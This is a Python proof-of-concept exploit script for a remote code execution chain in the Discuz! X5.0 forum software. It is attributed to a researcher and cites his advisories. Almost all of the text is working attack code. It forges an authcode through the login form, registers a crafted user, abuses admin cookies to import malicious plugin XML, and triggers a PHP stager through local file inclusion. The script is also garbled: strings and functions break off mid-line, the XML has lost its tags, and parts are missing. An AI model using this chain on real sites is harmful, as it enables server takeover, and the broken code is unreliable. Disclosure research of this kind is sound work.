# ------------------------------------------
# Discuz! X5.0 Remote Code Execution Exploit
# ------------------------------------------
#
# author..............: Egidio Romano aka EgiX
# mail................: n0b0d13s[at]gmail[dot]com
# software link.......: https://www.discuz.vip
#
# +-------------------------------------------------------------------------+
# | This proof of concept code was written for educational purpose only. |
# | Use it at your own risk. Author will be not responsible for any damage. |
# +-------------------------------------------------------------------------+
#
# [-] Original Advisories:
#
# https://karmainsecurity.com/KIS-2026-09
# https://karmainsecurity.com/KIS-2026-10
# https://karmainsecurity.com/KIS-2026-11
#
# [-] Technical Writeup:
#
# https://karmainsecurity.com/chaining-bugs-in-discuz-from-race-condition-to-rce
import subprocess
import threading
import requests
import secrets
import base64
import time
import sys
import re
def get_authcode(url, payload):
params = {"username": payload, "password": 1, "lssubmit": 1}
res = requests.post(url + "member.php?mod=logging&action=login&loginsubmit=yes", data=params)
match = re.search(r"auth=([^&]+)", res.text)
return match.group(1) if match else sys.exit("[!] Exploit failed: authcode not found")
def register_user(url, admin_md5):
username = admin_md5 + "\t1\t" + secrets.token_hex(4)
print("[+] Registering new 'special' user")
print(f"[+] Username: {username}")
session = requests.Session()
res = session.get(url + "member.php?mod=register")
match = re.search(r'
- Discuz! Plugin
-
- X5.0
-
-
- 1337
-
- PLUGIN_ID
"""
params = {"dir": "myrepeats"}
files = {"importfile": ("importfile.xml", xml_data.replace("PLUGIN_ID", "p_" + secrets.token_hex(8)))}
requests.post(url + "admin.php?action=plugins&operation=import&importtype=file&ignoreversion=1&installtype=", cookies=admincp_cookies, data=params, files=files)
print("[+] As admin: importing Local File Inclusion (LFI) plugin")
xml_data = """
- Discuz! Plugin
-
- X5.0
-
-
- 1337
-
- ../../data/attachment/common/cf/
- PLUGIN_ID
-
"""
params = {"dir": "myrepeats"}
files = {"importfile": ("importfile.xml", xml_data.replace("ENABLE_FILE", stager_filename).replace("PLUGIN_ID", "p_" + secrets.token_hex(8)))}
res = requests.post(url + "admin.php?action=plugins&operation=import&importtype=file&ignoreversion=1&installtype=", cookies=admincp_cookies, data=params, files=files)
match = re.search(r"`pluginid`='(\d+)", res.text)
plugin_id = match.group(1) if match else sys.exit("[!] Exploit failed: plugin_id not found")
print("[+] As admin: triggering PHP stager LFI")
res = requests.get(url + "admin.php?action=plugins", cookies=admincp_cookies)
match = re.search(r'\n" % sys.argv[0])
exploit(sys.argv[1])